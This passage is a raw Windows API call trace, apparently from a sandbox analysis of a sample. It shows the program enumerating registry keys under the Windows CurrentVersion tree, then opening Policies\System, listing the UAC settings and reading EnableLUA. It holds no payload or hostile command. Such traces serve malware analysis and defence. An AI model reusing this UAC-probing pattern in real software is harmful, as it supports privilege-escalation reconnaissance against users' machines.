cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0224.842] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet settings", cchWideChar=17, lpMultiByteStr=0x4ac120, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="internet settings", lpUsedDefaultChar=0x0) returned 17 [0224.842] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1b, lpName=0x4ab930, cchName=0x104 | out: lpName="MCT") returned 0x0 [0224.842] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mct", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0224.842] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mct", cchWideChar=3, lpMultiByteStr=0x4ac0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mct", lpUsedDefaultChar=0x0) returned 3 [0224.842] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1c, lpName=0x4ab930, cchName=0x104 | out: lpName="Media Center") returned 0x0 [0224.842] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="media center", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0224.842] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="media center", cchWideChar=12, lpMultiByteStr=0x4ac120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="media center", lpUsedDefaultChar=0x0) returned 12 [0224.842] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1d, lpName=0x4ab930, cchName=0x104 | out: lpName="MMDevices") returned 0x0 [0224.842] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mmdevices", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0224.842] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mmdevices", cchWideChar=9, lpMultiByteStr=0x4ac0d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mmdevices", lpUsedDefaultChar=0x0) returned 9 [0224.842] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1e, lpName=0x4ab930, cchName=0x104 | out: lpName="MSSHA") returned 0x0 [0224.842] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mssha", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0224.842] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mssha", cchWideChar=5, lpMultiByteStr=0x4ac120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mssha", lpUsedDefaultChar=0x0) returned 5 [0224.842] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1f, lpName=0x4ab930, cchName=0x104 | out: lpName="NetCache") returned 0x0 [0224.842] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="netcache", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0224.842] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="netcache", cchWideChar=8, lpMultiByteStr=0x4ac0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="netcache", lpUsedDefaultChar=0x0) returned 8 [0224.843] RegEnumKeyW (in: hKey=0x38, dwIndex=0x20, lpName=0x4ab930, cchName=0x104 | out: lpName="OEMInformation") returned 0x0 [0224.843] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="oeminformation", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0224.843] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="oeminformation", cchWideChar=14, lpMultiByteStr=0x4ac120, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oeminformation", lpUsedDefaultChar=0x0) returned 14 [0224.843] RegEnumKeyW (in: hKey=0x38, dwIndex=0x21, lpName=0x4ab930, cchName=0x104 | out: lpName="OOBE") returned 0x0 [0224.843] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="oobe", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0224.843] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="oobe", cchWideChar=4, lpMultiByteStr=0x4ac0d8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oobe", lpUsedDefaultChar=0x0) returned 4 [0224.843] RegEnumKeyW (in: hKey=0x38, dwIndex=0x22, lpName=0x4ab930, cchName=0x104 | out: lpName="OptimalLayout") returned 0x0 [0224.843] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="optimallayout", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0224.843] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="optimallayout", cchWideChar=13, lpMultiByteStr=0x4ac120, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="optimallayout", lpUsedDefaultChar=0x0) returned 13 [0224.843] RegEnumKeyW (in: hKey=0x38, dwIndex=0x23, lpName=0x4ab930, cchName=0x104 | out: lpName="Parental Controls") returned 0x0 [0224.843] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="parental controls", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0224.843] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="parental controls", cchWideChar=17, lpMultiByteStr=0x4ac0d8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="parental controls", lpUsedDefaultChar=0x0) returned 17 [0224.843] RegEnumKeyW (in: hKey=0x38, dwIndex=0x24, lpName=0x4ab930, cchName=0x104 | out: lpName="Personalization") returned 0x0 [0224.843] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="personalization", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0224.843] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="personalization", cchWideChar=15, lpMultiByteStr=0x4ac120, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="personalization", lpUsedDefaultChar=0x0) returned 15 [0224.843] RegEnumKeyW (in: hKey=0x38, dwIndex=0x25, lpName=0x4ab930, cchName=0x104 | out: lpName="PhotoPropertyHandler") returned 0x0 [0224.843] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="photopropertyhandler", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0224.843] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="photopropertyhandler", cchWideChar=20, lpMultiByteStr=0x4ac0d8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="photopropertyhandler", lpUsedDefaultChar=0x0) returned 20 [0224.843] RegEnumKeyW (in: hKey=0x38, dwIndex=0x26, lpName=0x4ab930, cchName=0x104 | out: lpName="PnPSysprep") returned 0x0 [0224.843] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pnpsysprep", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0224.843] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pnpsysprep", cchWideChar=10, lpMultiByteStr=0x4ac120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pnpsysprep", lpUsedDefaultChar=0x0) returned 10 [0224.843] RegEnumKeyW (in: hKey=0x38, dwIndex=0x27, lpName=0x4ab930, cchName=0x104 | out: lpName="Policies") returned 0x0 [0224.843] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0224.844] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x4ac0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0224.844] RegOpenKeyExW (in: hKey=0x38, lpSubKey="Policies", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb84 | out: phkResult=0x18fb84*=0xc4) returned 0x0 [0224.844] RegCloseKey (hKey=0x38) returned 0x0 [0224.844] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x4ab930, cchName=0x104 | out: lpName="ActiveDesktop") returned 0x0 [0224.844] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="activedesktop", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0224.844] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="activedesktop", cchWideChar=13, lpMultiByteStr=0x4ac120, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="activedesktop", lpUsedDefaultChar=0x0) returned 13 [0224.844] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x4ab930, cchName=0x104 | out: lpName="Attachments") returned 0x0 [0224.844] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="attachments", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0224.844] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="attachments", cchWideChar=11, lpMultiByteStr=0x4ac0d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="attachments", lpUsedDefaultChar=0x0) returned 11 [0224.844] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x4ab930, cchName=0x104 | out: lpName="Explorer") returned 0x0 [0224.844] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="explorer", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0224.844] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="explorer", cchWideChar=8, lpMultiByteStr=0x4ac120, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="explorer", lpUsedDefaultChar=0x0) returned 8 [0224.844] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x4ab930, cchName=0x104 | out: lpName="NonEnum") returned 0x0 [0224.844] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="nonenum", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0224.844] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="nonenum", cchWideChar=7, lpMultiByteStr=0x4ac0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nonenum", lpUsedDefaultChar=0x0) returned 7 [0224.844] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x4ab930, cchName=0x104 | out: lpName="System") returned 0x0 [0224.844] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0224.844] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x4ac120, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0224.844] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="System", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb84 | out: phkResult=0x18fb84*=0x38) returned 0x0 [0224.844] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ab930) returned 1 [0224.844] RegCloseKey (hKey=0xc4) returned 0x0 [0224.845] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ab860) returned 1 [0224.845] RegEnumValueA (in: hKey=0x38, dwIndex=0x0, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorAdmin", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0224.845] RegEnumValueA (in: hKey=0x38, dwIndex=0x1, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorUser", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0224.845] RegEnumValueA (in: hKey=0x38, dwIndex=0x2, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableInstallerDetection", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0224.845] RegEnumValueA (in: hKey=0x38, dwIndex=0x3, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableLUA", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0224.845] RegEnumValueA (in: hKey=0x38, dwIndex=0x4, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableSecureUIAPaths", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0224.845] RegEnumValueA (in: hKey=0x38, dwIndex=0x5, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableUIADesktopToggle", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0224.845] RegEnumValueA (in: hKey=0x38, dwIndex=0x6, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableVirtualization", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0224.845] RegEnumValueA (in: hKey=0x38, dwIndex=0x7, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="PromptOnSecureDesktop", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0224.845] RegEnumValueA (in: hKey=0x38, dwIndex=0x8, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ValidateAdminCodeSignatures", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0224.845] RegEnumValueA (in: hKey=0x38, dwIndex=0x9, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="dontdisplaylastusername", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0224.845] RegEnumValueA (in: hKey=0x38, dwIndex=0xa, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticecaption", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0224.845] RegEnumValueA (in: hKey=0x38, dwIndex=0xb, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticetext", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0224.845] RegEnumValueA (in: hKey=0x38, dwIndex=0xc, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="scforceoption", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0224.846] RegEnumValueA (in: hKey=0x38, dwIndex=0xd, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="shutdownwithoutlogon", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0224.846] RegEnumValueA (in: hKey=0x38, dwIndex=0xe, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="undockwithoutlogon", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0224.846] RegEnumValueA (in: hKey=0x38, dwIndex=0xf, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0224.846] RegEnumValueA (in: hKey=0x38, dwIndex=0x10, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0224.846] RegQueryValueExA (in: hKey=0x38, lpValueName="EnableLUA", lpReserved=0x0, lpType=0x18fb9c, lpData=0x0, lpcbData=0x18fba4*=0x0 | out: lpType=0x18fb9c*=0x4, lpData=0x0, lpcbData=0x18fba4*=0x4) returned 0x0 [0224.846] RegQueryValueExA (in: hKey=0x38, lpValueName="EnableLUA", lpReserved=0x0, lpType=0x18fb9c, lpData=0x4ac438, lpcbData=0x18fba4*=0x4 | out: lpType=0x18fb9c*=0x4, lpData=0x4ac438*=0x1, lpcbData=0x18fba4*=0x4) returned 0x0 [0224.846] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac438) returned 1 [0224.846] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac5a0) returned 1 [0224.846] RegEnumValueA (in: hKey=0x38, dwIndex=0x0, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorAdmin", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0224.846] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x10) returned 0x4ab860 [0224.846] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x8) returned 0x4ab878 [0224.846] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac5a0 [0224.846] RegEnumValueA (in: hKey=0x38, dwIndex=0x1, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorUser", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0224.846] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x8) returned 0x4ab888 [0224.846] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac438 [0224.846] RegEnumValueA (in: hKey=0x38, dwIndex=0x2, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableInstallerDetection", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0224.846] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x8) returned 0x4ab898 [0224.846] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac558 [0224.846] RegEnumValueA (in: hKey=0x38, dwIndex=0x3, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableLUA", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0224.846] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x8) returned 0x4ab930 [0224.846] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac510 [0224.846] RegEnumValueA (in: hKey=0x38, dwIndex=0x4, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableSecureUIAPaths", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0224.846] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x20) returned 0x4ab940 [0224.846] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ab860) returned 1 [0224.847] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x8) returned 0x4ab860 [0224.847] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac4c8 [0224.847] RegEnumValueA (in: hKey=0x38, dwIndex=0x5, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableUIADesktopToggle", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0224.847] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x8) returned 0x4ab968 [0224.847] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac480 [0224.847] RegEnumValueA (in: hKey=0x38, dwIndex=0x6, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableVirtualization", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0224.847] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x8) returned 0x4ab978 [0224.847] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac3f0 [0224.847] RegEnumValueA (in: hKey=0x38, dwIndex=0x7, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="PromptOnSecureDesktop", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0224.847] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x8) returned 0x4ab988 [0224.847] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac3a8 [0224.847] RegEnumValueA (in: hKey=0x38, dwIndex=0x8, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ValidateAdminCodeSignatures", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0224.847] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x30) returned 0x4ab998 [0224.847] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ab940) returned 1 [0224.847] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x8) returned 0x4ab940 [0224.847] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac360 [0224.847] RegEnumValueA (in: hKey=0x38, dwIndex=0x9, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="dontdisplaylastusername", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0224.847] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x8) returned 0x4ab950 [0224.847] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac318 [0224.847] RegEnumValueA (in: hKey=0x38, dwIndex=0xa, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticecaption", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0224.847] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x8) returned 0x4ab9d0 [0224.847] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac2d0 [0224.847] RegEnumValueA (in: hKey=0x38, dwIndex=0xb, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticetext", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0224.847] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x8) returned 0x4ab9e0 [0224.847] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac288 [0224.847] RegEnumValueA (in: hKey=0x38, dwIndex=0xc, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="scforceoption", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0224.847] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac240 [0224.847] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ab998) returned 1 [0224.847] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x8) returned 0x4ab998 [0224.848] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac1f8 [0224.848] RegEnumValueA (in: hKey=0x38, dwIndex=0xd, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: 